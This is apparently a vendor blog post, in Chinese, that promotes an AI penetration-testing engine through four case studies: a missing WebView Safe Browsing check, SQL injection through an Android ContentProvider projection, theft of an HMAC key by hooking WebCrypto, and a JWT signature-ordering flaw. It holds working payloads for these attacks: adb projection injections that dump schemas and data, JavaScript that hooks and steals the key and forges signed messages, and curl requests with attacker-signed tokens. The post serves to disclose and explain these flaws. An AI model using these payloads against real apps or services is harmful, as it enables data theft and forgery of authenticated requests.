我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

更进一步:Ostorlab AI 引擎发现未知的漏洞类别

Ostorlab 以推理驱动的 AI 引擎突破基于规则方法的局限,揭示此前未知且难以检测的漏洞——包括 WebView Safe Browsing 绕过、通过查询投影实现的 SQL 注入、WebCrypto 密钥窃取以及 JWT 验证顺序缺陷——从而带来更深入、更智能、互为补充的安全覆盖。

自动化漏洞扫描从本质上讲是基于规则的。这些规则面临两个无法回避的限制:

  • 它们只能检测我们已经知道的问题。
  • 由于规则的构建和维护成本高昂,我们会优先处理风险最高、最可能出现的问题。

这就把未知问题和一次性的边缘情况——例如某种定制语言的怪异行为仍可能导致 RCE——排除在典型的覆盖范围之外。

具备推理能力的 AI 驱动测试打破了这一框架。它能够提出假设、适应上下文,并以任何静态规则都未曾编码的方式进行探测。

话虽如此,它目前还不能完全替代规则方法。从成本—收益的角度来看,经过调优的规则引擎在执行已知检查时仍然要快得多、也便宜得多。

理论讲得够多了,让我们动手实践吧\!

下面的示例展示了 Ostorlab AI 引擎如何揭示我们原本不知道是否可能存在的真正新颖的漏洞,以及当前自动化方案经常遗漏的那些边缘的、难以检测的问题。

案例研究 1:WebView Safe Browsing 绕过

在一次移动应用评估中,AI 引擎遇到了一个标准的 WebView 实现,它起初看起来是安全的。该应用使用标准的安全配置加载远程内容,但 AI 系统化的处理方式揭示了一处有趣的疏漏。

WebView webView = findViewById(R.id.webview);
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setDomStorageEnabled(true);
webView.loadUrl(url);

AI 首先对照 Android 的安全文档分析该 WebView 配置。虽然大多数安全指南关注的是明显的错误配置,例如启用文件访问或 JavaScript 接口,但 AI 发现 Safe Browsing(Google 的恶意软件和钓鱼防护)并未被显式启用或验证。

AI 针对各种威胁场景系统化地测试了该 WebView 的行为:

  • 恶意软件检测测试:加载已知托管恶意软件的域名
  • 钓鱼检测测试:创建逼真的钓鱼页面
  • 混合内容分析:在 HTTPS 上下文中测试 HTTP 内容
  • 证书校验:检查 SSL/TLS 证书的处理

关键发现:

// AI-generated test payload
Adb shell am start -a android.inetnt.action.VIEW -n xxx/.ArticleViewerActivity –es url “https://testsafebrowsing.appspot.com/s/phishing.html” 
// This resolved to a known malicious IP without triggering Safe Browsing warnings

AI 发现,虽然 Safe Browsing 在 Android 8.0+ 上默认启用,但该应用从未验证此防护是否处于激活状态,而在较旧的 Android 版本或经过修改的 ROM 上,这一防护可能被禁用或绕过。

在本例中,由于该应用缺乏允许列表,缺失 Safe Browsing 检查会增加钓鱼风险。

AI 演示了攻击者可以:

  • 在存在漏洞的设备配置上绕过 Safe Browsing 防护
  • 投放在用户看来合法的恶意内容
  • 利用应用与远程内容之间的信任关系

AI 生成的修复方案:

WebView webView = findViewById(R.id.webview);
WebSettings webSettings = webView.getSettings();

// Explicitly enable and verify Safe Browsing
webSettings.setSafeBrowsingEnabled(true);

webView.setSafeBrowsingWhitelist(Arrays.asList("trusted-domain.com"), null);

webView.setWebViewClient(new WebViewClient() {
    @Override
    public void onSafeBrowsingHit(WebView view, WebResourceRequest request, 
                                  int threatType, SafeBrowsingResponse callback) {
        // AI identified this callback as critical for proper threat handling
        if (threatType == SAFE_BROWSING_THREAT_MALWARE || 
            threatType == SAFE_BROWSING_THREAT_PHISHING) {
            callback.backToSafety(true);
            Log.w("Security", "Blocked malicious URL: " + request.getUrl());
        }
    }

    @Override
    public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
        // AI-generated additional validation
        String url = request.getUrl().toString();
        if (isKnownMaliciousDomain(url) || containsSuspiciousPatterns(url)) {
            Log.w("Security", "Blocked suspicious URL: " + url);
            return true;
        }
        return super.shouldOverrideUrlLoading(view, request);
    }
});

关于 Safe Browsing 的知识是 Android 特有的,除非渗透测试人员曾经遇到或处理过这一问题,否则在评估中覆盖这类漏洞并不常见。

https://developer.android.com/reference/android/webkit/WebViewClient#onSafeBrowsingHit(android.webkit.WebView,%20android.webkit.WebResourceRequest,%20int,%20android.webkit.SafeBrowsingResponse)

案例研究 2:查询投影中的 SQL 注入

第二个发现涉及 SQLite 中通过查询投影实现的 SQL 注入。
该漏洞位于应用的 FileContentProvider 中,它在导出时没有权限限制,使得设备上的任何应用都能访问它。
使这一发现引人注目的是,引擎能够识别出在查询投影内部可以实现 SQL 注入——这是一种此前从未被记录为可被 SQL 注入攻击的攻击向量。

引擎展现了有条不紊的漏洞挖掘:它首先对 APK 进行静态分析,枚举出所有 ContentProvider、它们的 authority 以及权限配置。
随后它发现位于 content://[REDACTED].myblocnote.provider/ 的 provider 可被外部访问,且缺乏恰当的输入校验。

引擎接着使用精心构造的 ADB 命令进行动态测试,通过投影参数注入 SQL 表达式。

它通过投影参数系统化地测试了各种 SQL 注入技术,从简单的常量求值(--projection "size:1")开始,逐步升级到复杂的数据库架构枚举攻击。

引擎通过注入 (SELECT group_concat(name) FROM sqlite_master) 成功提取了完整的数据库架构,暴露出 android_metadata、files、sqlite_sequence 等表,而这些本不应被外部应用访问。

使这一发现与众不同的是,引擎能够绕开命令行的限制,并演示现实世界中的利用技术。

它巧妙地使用 SQL 注释(/x/)和 char() 函数来绕过 shell 的分词问题,展现出超越理论层面漏洞识别的实用知识。例如,为了从 files 表中提取列信息,引擎构造了如下查询:

--projection "size:(SELECT group_concat(name) FROM pragma_table_info(char(102,105,108,101,115)))"

这暴露了内部数据库结构 (_id, name, path, size columns),演示了完整的架构披露。引擎进一步演示了其数据窃取能力,通过子查询提取实际的文件名,并对结果进行截断以避免输出过多,同时仍然证明了该漏洞的严重程度。

如何确认(工具与证据)

  • 使用 adb shell content query,投影条目以冒号分隔;对函数/子查询调用的
    括号进行转义;偶尔使用 SQL 注释
    /x/ 和 char() 以避免 CLI 分词/引号问题。
  • 在 /root 上的示例确认:
    • 常量求值:
      • 命令:adb shell content query --uri content://xxxxx.myblocnote.provider/root --projection "size:1"
      • 输出(已截断):Row: 0 size=1024, 1=1
    • 内置函数:
      • 命令:adb shell content query --projection "size:sqlite_version()" …
      • 输出:Row: 0 size=1024, sqlite_version()=3.44.3
    • 通过 sqlite_master 获取架构名称:
      • 命令:--projection "size:(SELECT/x/group_concat(name)FROM/x/sqlite_master)"
      • 输出包含:android_metadata,files,sqlite_sequence,capabilities,uploads,camera_ uploads_sync,user_quotas
    • 通过 pragma_table_info 获取 files 的列:
      • 命令:--projection "size:(SELECT/x/group_concat(name)FROM/x/pragma_table_info(char(102,105,108,101,115)))"
      • 输出:_id,name,path,size
    • DDL(CREATE TABLE files):
      • 命令:--projection "size:(SELECT/x/sql/x/FROM/x/sqlite_master/x/WHERE/x/name=char(102, 105,108,101,115)/x/AND/x/type=char(116,97,98,108,101)/x/LIMIT/x/1)"
      • 输出(已截断):CREATE TABLE files (_id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, path TEXT NOT NULL, size INTEGER)
    • 跨表计数(capabilities):
      • 命令:--projection "size:(SELECT/x/count(*)FROM/x/capabilities)"
      • 输出(已截断):…=0
    • 真实数据样本(文件名已截断,数量受限):
      • 命令:--projection "size:(SELECT/x/group_concat(substr(name,1,5),char(124))FROM/x/(SELECT/x/name/x/FROM/x/files/x/LIMIT/x/3))"
      • 输出:…=Docum|Image|Music
    • 基于错误的确认(未知函数):
      • 命令:--projection "size:pwned()"
      • 错误(已截断):android.database.sqlite.SQLiteException: no such function: pwned … while compiling: SELECT size, pwned() FROM files
    • 未知列(无允许列表):
      • 命令:--projection "size:non_existent_col"
      • 错误(已截断):no such column: non_existent_col … while compiling: SELECT size, non_existent_col FROM files
  • 在条目 URI 上的确认:
    • /file/1:--projection "size:1" -> Row includes “1=1”。
    • /directory/1:--projection "size:sqlite_version()" -> sqlite_version()
      列已返回。

案例研究 3:通过挂钩 WebCrypto 窃取会话密钥

该漏洞发现于一个已通过人工渗透测试的应用中,人工测试人员未能发现它。

这是一个基于 WebView 的 provider 中的注入时机漏洞。该 provider 在文档末尾(document end)注入,从而使页面脚本得以先运行并挂钩 WebCrypto。该 provider 使用 window.crypto.subtle 导入并使用 HMAC 密钥进行签名。被挂钩的函数可以读取密钥材料并将其窃取,使任何脚本都能伪造出原生桥(native bridge)会认为真实有效的已签名消息。

据引擎所述:当安全敏感的脚本被较晚地注入到敌意页面时,这类漏洞很常见。

攻击方法

  • 攻击者确保 JavaScript 在 provider 注入之前运行(对任何页面而言都很容易做到)。
  • 挂钩 crypto.subtle.importKey/sign,以便在 provider 初始化时观察密钥材料。
  • 提取每个会话的密钥(原始密钥),并为任意请求计算有效的 HMAC。
  • 通过 window.ReactNativeWebView.postMessage 发送带有有效签名的精心构造的消息。

A)挂钩 SubtleCrypto,在页面重新加载时窃取 HMAC 密钥

// Run BEFORE provider injection (e.g., in-page script, or paste then reload)
const origImportKey = crypto.subtle.importKey;
crypto.subtle.importKey = async function(fmt, keyData, alg, extractable, usages) {
  if (fmt === 'raw' && alg && (alg.name || alg) === 'HMAC') {
    const u8 = new Uint8Array(keyData);
    const hex = Array.from(u8).map(x => x.toString(16).padStart(2,'0')).join('');
    console.log('Captured HMAC secret (hex):', hex);
  }
  return origImportKey.apply(this, arguments);
};
// Reload the page; when the provider initializes at document-end, the secret is logged.

观察到的结果:浏览器控制台以十六进制打印出每个会话的密钥。

B)使用捕获到的密钥伪造已签名的 rpc_request

// Using the secret captured above, compute a valid signature and post directly
async function sign(secretHex, obj) {
  const key = await crypto.subtle.importKey('raw', new Uint8Array(objHex(secretHex)), { name:'HMAC', hash:'SHA-256' }, false, ['sign']);
  const data = new TextEncoder().encode(JSON.stringify(obj));
  const sig = await crypto.subtle.sign('HMAC', key, data);
  return Array.from(new Uint8Array(sig)).map(x => x.toString(16).padStart(2,'0')).join('');
}
function objHex(h) { return h.match(/../g).map(b => parseInt(b,16)); }

(async () => {
  const unsigned = { id: 'attacker-1', method: 'rpc_request', context: { network: 'evm', method: 'eth_chainId', params: [] } };
  const signature = await sign('<PASTE_SECRET_HEX_HERE>', unsigned);
  const msg = { ...unsigned, signature };
  window.ReactNativeWebView.postMessage(JSON.stringify(msg));
})();

案例研究 4:JWT 签名验证绕过

这是另一个难以发现的棘手漏洞的有趣示例,下面是引擎的输出以及它如何确认该问题:

证据表明,该服务在验证签名之前就先评估 JWT 的声明(claim)。

在各受保护端点上,带有无效/攻击者签名以及故意损坏签名的令牌,返回的是与颁发者(issuer)相关的错误,而不是签名失败错误。这证实了 JWT 验证流程中存在签名验证绕过/顺序错误的问题。

  • 受影响主机:https://gateway.[REDACTED]-prod.com(经由 CloudFront → Kestrel 的 HTTP/2)
  • 在以下端点上得到确认:GET /api/consumer/user/kyc、GET /api/consumer/accounts/USD(来自先前的数据集),并与 GET /api/consumer/features(公开/无需认证)的行为进行对比
  • 算法:RS256、HS256 受影响;alg=none 被拒绝(要求存在签名,但不对其进行校验)

复现与原始证据

对照 A —— 无令牌(基线)

curl -i --http2 --compressed \
  -H 'accept: application/json' \
  -H 'user-agent: okhttp/4.12.0' \
  -H 'mobile-app-type: [REDACTED]' \
  -H 'mobile-app-platform: ANDROID' \
  -H 'mobile-app-version: 11.5' \
  -H 'accept-encoding: gzip' \
  'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'

响应节选:

HTTP/2 401
www-authenticate: Bearer error="invalid_token"
content-length: 0

对照 B —— alg=none 令牌(无签名)被拒绝(符合预期)

curl -i --http2 --compressed \
  -H 'accept: application/json' \
  -H 'user-agent: okhttp/4.12.0' \
  -H 'mobile-app-type: [REDACTED]' \
  -H 'mobile-app-platform: ANDROID' \
  -H 'mobile-app-version: 11.5' \
  -H 'accept-encoding: gzip' \
  -H 'Authorization: Bearer [REDACTED]' \
  'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'

响应节选:

HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The signature is invalid"
content-length: 0

解读:服务要求存在签名字段。接下来的测试表明,它并不校验已签名令牌的签名完整性。

核心证据 1 —— 使用攻击者密钥签名、并在头部提供 JWK 的 RS256 令牌 → 返回颁发者错误而非签名错误

令牌(解码后):

{
  "header": {
    "alg": "RS256",
    "typ": "JWT",
    "kid": "test-rsa-1",
    "jwk": {"kty": "RSA", "n": "<attacker-n>", "e": "AQAB"}
  },
  "payload": {
    "sub": "+50644440002",
    "iss": "[REDACTED]",
    "aud": "[REDACTED]-mobile",
    "iat": 1759166743,
    "nbf": 1759166743,
    "exp": 1759167403
  }
}

请求:

curl -i --http2 --compressed \
  -H 'accept: application/json' -H 'user-agent: okhttp/4.12.0' \
  -H 'mobile-app-type: [REDACTED]' -H 'mobile-app-platform: ANDROID' \
  -H 'mobile-app-version: 11.5' -H 'accept-encoding: gzip' \
  -H 'Authorization: Bearer <attacker-RS256-token-with-jwk-header>' \
  'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'

响应节选:

HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer '[REDACTED]' is invalid"
content-length: 0

解读:服务器推进到了颁发者验证,而不是因未知/不受信任的密钥或错误签名而拒绝。

核心证据 2 —— 无 jwk 头部、由攻击者签名的 RS256 令牌 → 颁发者错误依旧出现

Authorization: Bearer [REDACTED]

响应节选:

HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"

解读:仍然没有签名拒绝;声明校验继续进行。

核心证据 3 —— 签名被故意损坏的 RS256 令牌 → 颁发者错误在各受保护端点上依旧出现

被篡改的令牌(仅更改第 3 段;头部 + 载荷未变):

[REDACTED]

观察到的响应:

  • GET /api/consumer/accounts/USD →
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"
  • GET /api/consumer/user/kyc →
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"

解读:尽管签名已损坏,但声明检查(颁发者)仍先行运行。

核心证据 4 —— 使用任意密钥的 HS256 令牌 → 返回颁发者错误而非签名/算法错误

[REDACTED]

响应节选:

HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"

解读:算法/密钥不匹配被忽略;声明检查继续进行。

佐证探测 —— 在已认证端点上使用签名损坏的 RS256 返回颁发者错误。

请求(一次):

curl --http2 -s -i -X GET "https://gateway.[REDACTED]-prod.com/api/consumer/user/kyc" \
  -H "accept: application/json" \
  -H "user-agent: okhttp/4.12.0" \
  -H "accept-encoding: gzip" \
  -H "authorization: Bearer [REDACTED]" \
  --compressed

响应(逐字的响应头):

HTTP/2 401
content-length: 0
date: Mon, 29 Sep 2025 18:30:50 GMT
server: Kestrel
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'https://attacker.invalid/issuer' is invalid"

解读:端点对请求进行认证,但却评估来自未经验证令牌的颁发者声明。

声明顺序测试 —— 仅对齐 iss;在签名仍损坏的情况下 → 颁发者仍然无效(顺序问题得到确认)

curl --http2 -s -i -X GET "https://gateway.[REDACTED]-prod.com/api/consumer/user/kyc" \
  -H "accept: application/json" \
  -H "user-agent: okhttp/4.12.0" \
  -H "accept-encoding: gzip" \
  -H "authorization: Bearer [REDACTED]" \
  --compressed

响应:

HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'https://gateway.[REDACTED]-prod.com' is invalid"

解读:即使签名已损坏,声明检查仍在继续运行(仍是颁发者)。顺序配置有误。

结论

基于规则的扫描器在速度和对已知问题的覆盖方面表现出色,但它们不可避免地会遗漏未知问题和一次性问题。这里的案例让这一差距变得具体可见。

像 Ostorlab AI 引擎这样以推理驱动的 AI,通过提出假设、实时调整探测方式,并揭示任何固定规则都未曾预料到的漏洞,弥合了这一差距。其结果是一种互为补充的策略,能够发现不同的(更多的)漏洞。

标签:

security, AI, pentest, android, ios, web, api